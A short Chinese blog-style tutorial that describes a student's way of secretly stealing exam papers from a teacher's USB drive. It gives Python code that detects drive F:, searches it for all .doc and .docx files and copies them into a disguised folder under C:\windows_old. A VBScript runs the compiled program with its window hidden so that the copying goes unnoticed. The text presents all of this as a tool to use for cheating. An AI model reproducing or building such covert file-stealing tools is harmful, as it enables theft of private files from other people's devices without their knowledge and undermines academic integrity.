每当期末考试的时候都会让人抓狂,因为没有学习,考试又不想挂科,想到我刚刚学了朋友通红那就只能使出洪荒之力,神不知鬼不觉的从老师U盘中找试卷了
终于在我不断完善下,他出来
思路::
第一步:查找U盘
第二步:查找指定文件
第三步:复制
**第一步**:可以使用os.path模块操作目录。
导入os模块
使用exists方法
查找是否存在指定文件
import os
print(os.path.exists("F:"))
# 有这个盘符就会返回TRUE 没有会返回false
**第二步**:查找指定文件
使用pathlib模块
使用glob方法,查找指定文件(包含子目录)
from pathlib import *
for file in Path("F:").glob(r"**/*.doc*"):
# file 的类型是
# 查找doc,或者是docx文件
copy = str(file)
# 要使用shutil.copy 这个方法进行复制,所以要转换一下类型
# copy两个参数都需要是字符串类型,可以自己看一下
**第三步**:复制
import shutil
shutil.copy(copy, "C:\\windows_old\\03\\03\\word")
# 前面是源文件,后面是你想要的复制到的目录,需要这个目录先存在,可以使用mkdir新建一个
怎么实现然他静默执行呢,还需要个脚本hide.vbs
Set WshShell = CreateObject("WScript.Shell")
WshShell.Run chr(34) & "U.exe" & Chr(34), 0
Set WshShell = Nothing
实现静默执行
然后我就………………